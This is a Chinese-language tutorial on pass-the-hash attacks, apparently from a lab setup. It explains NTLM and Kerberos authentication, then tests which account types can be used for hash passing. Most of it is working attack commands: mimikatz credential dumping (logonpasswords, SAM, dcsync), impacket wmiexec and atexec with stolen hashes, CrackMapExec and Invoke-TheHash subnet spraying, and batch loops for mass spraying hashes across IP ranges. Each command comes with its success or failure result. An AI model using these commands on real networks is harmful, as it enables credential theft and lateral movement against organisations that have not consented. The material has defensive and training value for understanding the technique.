免责声明
本文档所提供的信息旨在帮助网络安全专业人员更好地理解并维护他们负责的网站和服务器等系统。我们鼓励在获得适当授权的情况下使用这些信息。请注意,任何未经授权的使用或由此产生的直接或间接后果和损失,均由使用者自行承担。我们提供的资源和工具仅供学习和研究之用,我们不鼓励也不支持任何非法活动。"
前言
PTH
(pass the hash),中文称之为哈希传递攻击,在NTLM和Kerberos认证中,都需要使用用户的NTLM-Hash值进行加密认证,所以知道了对方用户的NTLM-Hash值之后就可以使用PTH进行认证。
在域环境中,用户登录计算机时一般使用的都是域账户,大量计算机在安装时会使用相同的本地管理员账户和密码。
如果计算机的本地管理员账户【WORKGROUP】和密码也是相同的,故攻击者就可以使用哈希传递攻击这种方法登录内网中其他计算机。
为什么要做这篇文章?
原因是PTH批量的方法较少,本文的重点也是传递PTH批量
一、PTH原理
1.1 PTH原理-NTLM认证中
response是如何生成的呢?
response = NTProofStr+blob
两部分组成的
-
NTProofStr:NTLM-v2-hash值和challenge+blob进行HMAC-MD5加密的
-
NTLM-v2-hash值:大写的用户名+域名编码成Unicode格式,然后和密码的NTLM-HASH值进行HMAC-MD5加密
-
blob是由时间、目标信息、随机填充字符等生成
1.2 PTH原理-kerberos认证中
AS-REQ(AS-requests)主要包含用户的身份信息,由客户端发送给AS的数据包,其中有几个重要信息:
-
PA-DATA pA-ENC-TIMESTAMP
:使用用户的hash值或者AES key加密时间戳生成的key -
PA-DATA pA-PAC-REQUEST
:是否包含有pac(PAC 包含用户的SID、用户所在组等信息) -
kdc-options
:协商字段 -
cname
:请求的用户名 -
realm
:域名 -
sname
:请求的服务名
二、PTH条件
1、有管理员的NTLM Hash值
2、目标机器开放了445端口【atexec-pro只需要开启135就可以。】
三、不同用户下的PTH区别
哪些用户可以进行PTH ❓
这边我们来做一个测试
环境如下:
抓取每个账号HASH值
mimikatz命令:
mimikatz.exe "log" "privilege::debug" "sekurlsa::logonpasswords full" "exit"
如果新创建未登录可能存在抓不到的现象,使用如下命令即可
mimikatz.exe "log" "privilege::debug" "lsadump::sam" "exit"
administrator 47bf8039a8506cd67c524a03ff84ba4e
viper 482563f0adaac6ca60c960c0199559d2
test 700ec8a682f6e41418007992fc604c77
四、PTH 哈希传递-工作组环境
4.1 Mimikatz hash传递
mimikatz命令
privilege::debug
sekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntl
✅超级管理员 administrator 【成功】
使用administrator的账号进行hash传递
privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.41.128 /ntlm:afffeba176210fad4628f0524bfe1942
传递成功。
❎本地管理员 Viper 【失败】
使用viper进行传递
sekurlsa::pth /user:viper /domain:192.168.41.128 /ntlm:482563f0adaac6ca60c960c0199559d2
传递失败
❎普通用户 test 【失败】
使用test进行传递
sekurlsa::pth /user:test /domain:192.168.41.128 /ntlm:700ec8a682f6e41418007992fc604c77
失败
4.2 impacket包 hash传递
✅超级管理员 administrator 【成功】
python wmiexec.py -hashes :47bf8039a8506cd67c524a03ff84ba4e administrator@192.168.41.128
❎本地管理员 Viper 【失败】
命令
python wmiexec.py -hashes :482563f0adaac6ca60c960c0199559d2 viper@192.168.41.128
失败
❎普通用户 test 【失败】
python wmiexec.py -hashes :700ec8a682f6e41418007992fc604c77 test@192.168.41.128
失败
五、PTH 哈希传递-域内环境
抓取Hash值
mimikatz.exe "log" "privilege::debug" "lsadump::dcsync /domain:hack.com /all /csv" "exit"
hash值
administrator afffeba176210fad4628f0524bfe1942
viper db40247dab331ac57c207032f198f364
win10 47bf8039a8506cd67c524a03ff84ba4e
Hash传递
这里我们使用imapcket包进行传递。
✅域内超级管理员 Administrator 【成功】
python wmiexec.py -hashes :afffeba176210fad4628f0524bfe1942 hack\administrator@192.168.41.157
成功
✅域内管理员 viper 【成功】
python wmiexec.py -hashes :db40247dab331ac57c207032f198f364 hack/viper@192.168.41.157
成功
❎域内普通用户 【失败】
python wmiexec.py -hashes :47bf8039a8506cd67c524a03ff84ba4e hack/win10@192.168.41.157
失败
总结以上
域内administrator和普通管理员可以进行PTH传递,域内普通用户不可以进行PTH传递(默认)。
以上为PTH的基础内容,让大家巩固基础的同时,保证我们在拿到Hash准备批量喷洒时心里有底。
六、批量喷洒
内网中,系统在安装的时候,一般会采用统一的账户和密码,当我们获取到一台电脑的hash值之后,可以使用hash碰撞的方式,找出拥有相同账户密码的计算机。
6.1 CrackMapExec 【kali 、 Windows】可走代理
工具下载地址:
https://github.com/maaaaz/CrackMapExecWin
优点:
1、kali、windows都支持
2、可走代理、不用上传目标主机牵扯到免杀
3、支持密码包括密码字典、hash包括hash字典
4、可以扫描网段
总而言之,最好用的方式。
使用
指定hash:
crackmapexec.exe 192.168.41.128/24 -u administrator -H 47bf8039a8506cd67c524a03ff84ba4e:47bf8039a8506cd67c524a03ff84ba4e
成功爆破到主机。
指定hash字典:
crackmapexec.exe 192.168.41.128/24 -u administrator -H hash.txt
6.2 Powershell脚本 【可走代理】
Invoke-TheHash,可以通过把NTLM hash传递给NTLM v2身份验证协议进行身份验证的攻击套件。
执行该脚本不需要本地管理员权限
条件:power shell 2.0及以上
用法:
Import-Module .Invoke-TheHash.ps1 (导入批量模块)
Import-Module .Invoke-WMIExec.ps1 (导入wmi模块)
Invoke-TheHash -Type WMIExec -Target 192.168.110.0/24 -Username administrator -Hash db40247dab331ac57c207032f198f364
命令
Invoke-TheHash -Type WMIExec -Target 192.168.41.128/24 -Username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e
Windows 10
powershell中 存在ASMI反病毒接口
,如有以上报错,请使用server2012以及windows7,这边就不进行演示
6.3 自写Bat搭配Impacket 实现 【Windows】可走代理
=【优点】==:
比较灵活,可以将三个值都替换
【注意事项】:
如果写成批处理,那么%i
需要变成%%i
(ips.txt)需要使用小括号包裹
【DOS命令】:
dos命令除了变量以外不区分大小写,包括执行参数也不区分大小写。
批量尝试连接ipc$
,连接成功后可以使用net use
查看。
以下命令修改参数后可以直接执行,无需放在bat中
## 指定固定Hash爆破ip段
FOR /F %i in (<ips.txt>) do atexec.exe -hashes :<hash> ./<username>@%i "<command>"
## 指定固定ip爆破hash
FOR /F %i in (<hash.txt>) do python atexec.py -hashes :%i administrator@192.168.41.128 "whoami"
【实例1】: 指定hash爆破ip:
FOR /F %i in (ip.txt) do python atexec.py -hashes :47bf8039a8506cd67c524a03ff84ba4e administrator@%%i "whoami"
【实例2】:指定ip爆破hash
FOR /F %i in (hash.txt) do python atexec.py -hashes :%i administrator@192.168.41.128 "whoami"
参考🔗
https://mp.weixin.qq.com/s/CZRZEtl3M5ZXM9vgydDsfw